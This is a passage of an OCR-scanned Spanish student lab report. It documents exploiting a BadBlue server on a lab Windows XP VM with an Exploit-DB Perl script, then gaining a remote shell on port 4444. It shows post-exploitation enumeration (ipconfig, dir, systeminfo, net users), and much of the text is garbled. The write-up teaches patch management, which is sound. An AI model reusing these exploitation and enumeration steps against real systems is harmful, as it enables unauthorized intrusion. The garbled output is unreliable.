consistié en la verificacion de la correspondencia entre la vulnerabilidad (referenciada por

CVE/OSVDB) y el exploit disponible.

Exploit: BadBlue . r Overflow
URL: https
Path: ;u:x;:ha

Codes: OSVDBE-424 15.

Verified: True
File Type: Perl script
Copied EDB-ID #4784's path tu the Lllpbuard

lustracion 33 Localizacion y verificacion del exploit

Finalmente, en el entorno de laboratorio ejecuté la prueba contra la maquina
objetivo autorizada. Tras el envio de la peticion maliciosa (en el laboratorio), consegui
evidencia de ejecucion remota: una sesion interactiva que mostré el prompt del sistema
Windows XP del objetivo indicando que se alcanzé ejecucion de comandos a nivel remoto.
En la captura se aprecia el prompt C:\...> del sistema comprometido, lo que confirmé el

éxito de la prueba dentro del entorno controlado.
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( )-[~]
L4 . /badblue.272.5eh.pl 197.168.2.3 80
+ Malicious GET request sent
Done.
+ Connect on port 4444 of 197.168.2.3
Trying 197.168.2.3 ...
Connected to 197.168.2.3.
Escape character is '"]".
Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>}}

llustracion 34 Ejecucion en laboratorio y resultado

Utilizando el comando ipconfig confirme que el sistema objetivo esta activo en la
subred 197.168.2.0/24 con la direccion 197.168.2.3. El éxito de la explotacién dependié de
la accesibilidad directa a esta IP. El adaptador secundario no representa un vector de ataque

directo debido a su estado de autoconfiguracion.
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C:\Archivos de programa\BadBlue\PE>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador Ethernet Conexien de erea local

Sufijo de conexien especefica DNS : RED-UNI-CHOCO
Direccien IP. . . . . . . . . . . : 197.168.2.3
Mescara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . 197.168.2.1

Adaptador Ethernet Conexien de erea local 2

Sufijo de conexien especefica DNS

Direccien IP de autoconfiguracien : 169.254.186.60
Mescara de subred . . . . . . . . : 255.255.0.0
Puerta de enlace predeterminada

C:\Archivos de programa\BadBlue\PE>[}

Iustracion 35 confirme que el sistema objetivo esta activo

Una vez obtenido el acceso al sistema, se ejecut6 el comando dir para enumerar el
contenido del directorio de trabajo actual, que corresponde a la ruta de instalacion del

servicio comprometido: C:\Archivos de programa\BadBlue\PE.
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C:\Archivos de programa\BadBlue\PE>dir

dir
EL volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 2490-270F

Directorio de C:\Archivos de programa\BadBlue\PE

04/11/2025 08:12 <DIR>

04/11/2025 08:12 <DIR> .
20/04/2003 10:47 404 .htm
08/03/2003 06:49 access.htx
19/05/2004 17:06 acl.hts
19/01/2003 19:04 acl_nt.htx
01/06/2004 20:22 addusers.hts
16/10/2003 19:07 admin.hts
15/01/2004 18:23 arbegin.gif
14/03/2005 18:28 ardown.gif
15/01/2004 18:34 arend.gif
14/01/2004 20:29 arleft.gif
14/03/2005 18:48 arref.gif
14/01/2004 20:29 arright.gif
14/03/2005 18:28 . arup.gif
10/10/2025 14:16 BadBlue Personal Edition.
12/02/2006 ©09:23 . badblue.exe
08/03/2003 06:48 . basestyl.css

PR RPRRPRRPRRPRLRONNOGRE
*® & = = & & & ¢ = = »

lustracion 36 Ejecucion del comando dir

los hallazgos de esta evaluacion de seguridad que realice sobre el sistema
identificado con la direccion IP 197.168.2.3, el cual resulto ser exitosamente comprometido

mediante la explotacion de vulnerabilidades conocidas.
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21/02/2002 : 703 bbbant.gif
10/03/2004 : 3.771 browse.hts
10/03/2004 - 3.771 browsep.hts
10/02/2003 : 1.589 connexc.htm
10/06/2003 : 1.594 details.gif
07/03/2004 : 7.234 dir.hts
28/11/2002 : 3.198 doc.htx
29/12/2002 : 118.784 dyndns.exe
14/07/2003 : 7.731 dyndns.hts
08/03/2003 : 1.389 error.gif
14/10/2025 : 3.404 ex251014.10g
03/11/2025 : 2.547 ex251103.1og
04/11/2025 : 3.532 ex251104.1log
20/12/2004 : 2.121 expired.htx
13/06/2003 : 7.457 expired.jpg
27/08/2006 : 425.984 ext.dll
04/11/2025 : 208 ext.ini
17/10/2004 : 170 filters.ini
06/03/2003 : 986 folder.gif
05/03/2003 : 1.449 folders.gif
19/02/2005 : 1.889 folders.htx
03/05/2003 : 1.093 foldup.gif
09/03/2003 : 4.084 friends.hts
04/11/2025 : @ GNU0O.LOG
06/03/2003 : 1.564 help.gif
02/01/2005 : 5.352 help.htx
06/03/2003 : 1.448 helpdv.gif

lustracion 37 Hallazgos

La seccidn final del comando dir sobre el directorio C:\Archivos de
programa\BadBlue\PE confirma los archivos restantes y refuerza la conclusion sobre la
obsolescencia del sistema, con una excepcion notable es importan sabe que todos esto son

hallazgos .



09/03/2003
09/03/2003
05/03/2003
05/03/2003
05/03/2003
05/03/2003
05/03/2003
05/03/2003
05/03/2003
05/03/2003
05/03/2003
07/03/2003
09/03/2003
10/06/2003
17/07/2003
10/10/2025
11/05/2005
10/03/2004
12/08/2003
07/03/2004
21/08/2003
02/01/2005
14/03/2005
07/03/2006
27/11/2005
02/01/2005
02/01/2005

NP NNMNREPENEPENNRNRN
. & & & = & = = & s =

= o
. .

llustracion 38 Datos de los hallasgos

stawz4.htm
stawz5.htm
tabfoldl.gif
tabfold2.gif
tabhelpl.gif
tabhelp2.gif
tabline.gif
tabmanl.gif
tabman2.gif
tabsrchl.gif
tabsrch2.gif
temp.gif
throttle.hts
thumb.gif
thumb2.gif
uninst.exe
upload.dll
upload.htx
user.hts
users.htx
vector.htx
welcome.gif
xls.htx
x1ls2.htx
Xxlsedit.htx
xlsfind.htx
xlsins.htx

36

La ultima porcién de la salida del comando dir proporciona un resumen cuantitativo

del contenido y el espacio en disco del directorio C:\Archivos de programa\BadBlue\PE.

Habiendo completado el andlisis de todas las imagenes proporcionadas, el informe

Enumeracion del Sistema de Archivos.

técnico ahora cuenta con las secciones de Reconocimiento, Explotacién, Andlisis de Red y
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07/03/2003 20:27 686 _tfolder.htx
07/03/2003 20:27 686 _thelp.htx
07/03/2003 20:27 686 _tindex.htx
15/10/2005 09:40 1.138 _tmanage.htx
141 archivos 1.475.108 bytes
2 dirs 17.512.189.952 bytes libres

C:\Archivos de programa\BadBlue\PE>}}

lustracion 39 Final de Hallazgos

La ejecucién del comando systeminfo en la maquina comprometida proporciona
detalles esenciales sobre el entorno operativo y las especificaciones del hardware
subyacente. Con la informacidn de systeminfo, ya hemos cubierto el reconocimiento, la

explotacion, la red, el sistema de archivos y el entorno operativo.



C:\Archivos de programa\BadBlue\PE>systeminfo

systeminfo

Nombre de host:

Nombre del sistema operativo:

XP Professional

Versien del sistema operativo:

ack 3 Compilacien 2600

Fabricante del sistema operativo:
ion

Configuracien del sistema operativo:
0 independiente

Tipo de compilacien del sistema operativo:

Propiedad de:

Organizacien registrada:

Id. del producto:

23836

Fecha de instalacien original:
6

Tiempo de actividad del sistema:
5 minutos, 38 segundos
Fabricante del sistema:

Modelo el sistema:

Tipo de sistema:
Procesador(es):

talados.

Versien del BIOS:
Directorio de Windows:
Directorio de sistema:

WAY
Microsoft Windows

5.1.2600 Service P
Microsoft Corporat
Estacien de trabaj
Uniprocessor Free
way

way
76460-641-1927333-
26/07/2025, 9:36:0
0 deas, 1 horas, 1
innotek GmbH
VirtualBox

X86-based PC
1 Procesadores ins

[01]: x86 Family 6
Model 190 Stepping @ GenuineIntel ~1807 Mhz

VBOX = 1
C:\WINDOWS
C:\WINDOWS\system3

llustracién 40 Informacion de systeminfo
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Para esta operacion de la salida de systeminfo me proporciono datos criticos sobre

la memoria, el dominio y las interfaces de red del sistema objetivo.



Dispositivo de inicio:

Tume1l

Configuracien regional del sistema:
Idioma:

Zona horaria:

Cantidad total de memoria fesica:
Memoria fesica disponible:

Memoria virtual: tama¢o meximo:
Memoria virtual: disponible:
Memoria virtual: en uso:

Ubicacien(es) de archivo de paginacien:

Dominio:

Servidor de inicio de sesién:
Revisien(es):

taladas.

Tarjeta(s) de red:
rfaz de red instaladas.

servidor PRO/1000 T de Intel(R)
nexien: Conexien de erea local
Se
P: 197.168.2.2
IP
8.2.3

servidor PRO/1000 T de Intel(R)

llustracion 41 salida

\Device\HarddiskVo

Qcha

0000040A

N/D

191 MB

46 MB

2.048 MB

2.008 MB

40 MB
C:\pagefile.sys
GRUPO_TRABAJO
\\WAY

1 revisien(es) 1ins

[01]: Q147222
2 Tarjetas de inte

[01]: Adaptador de
Nombre de co
DHCP habilit
Servidor DHC
Direcciones

[01]: 197.16

[02]: Adaptador de

39

La evaluacion de penetracion confirma una vulnerabilidad critica de alto impacto

CHOCO.

en el activo con direccion IP 197.168.2.3 (host WAY) dentro del entorno RED-UNI-
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C:\Archivos de programa\BadBlue\PE>net users
net users

Cuentas de usuario de \\WAY

Administrador Asistente de ayuda Invitado

SUPPORT_388945a0 wayner_antonio_moya_
Se ha completado el comando correctamente.

C:\Archivos de programa\BadBlue\PE>|}

llustracion 42Net users
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6. Conclusion
El laboratorio practico documentado en este informe demostro dos aspectos

cruciales de la ciberseguridad. En primer lugar, la utilizacion del software Camouflage en
el Capitulo 1 ilustré de manera practica la eficacia de la esteganografia como una técnica
avanzada de ocultacion, permitiendo que informacién sensible permanezca indetectable
dentro de un archivo comun, y destacando la importancia del cifrado mediante contrasefia

para la proteccion.

En segundo lugar, la preparacién e instalacion de Badblue y su posterior
explotacion (detallada en el Capitulo 2) evidenci6 de forma contundente la importancia
de la gestion de parches y la mitigacion de vulnerabilidades en el software de red. La
capacidad de explotar un servicio expuesto demuestra cémo las fallas en la configuracion o
el software desactualizado pueden ser aprovechadas para comprometer la integridad y la

confidencialidad de un sistema.

En conclusion, estas précticas de laboratorio refuerzan la necesidad de adoptar
medidas de defensa activa y realizar auditorias preventivas continuas en cualquier
entorno de red, no solo para defenderse de ataques conocidos sino también para identificar

y mitigar métodos de evasion de seguridad, como la esteganografia.



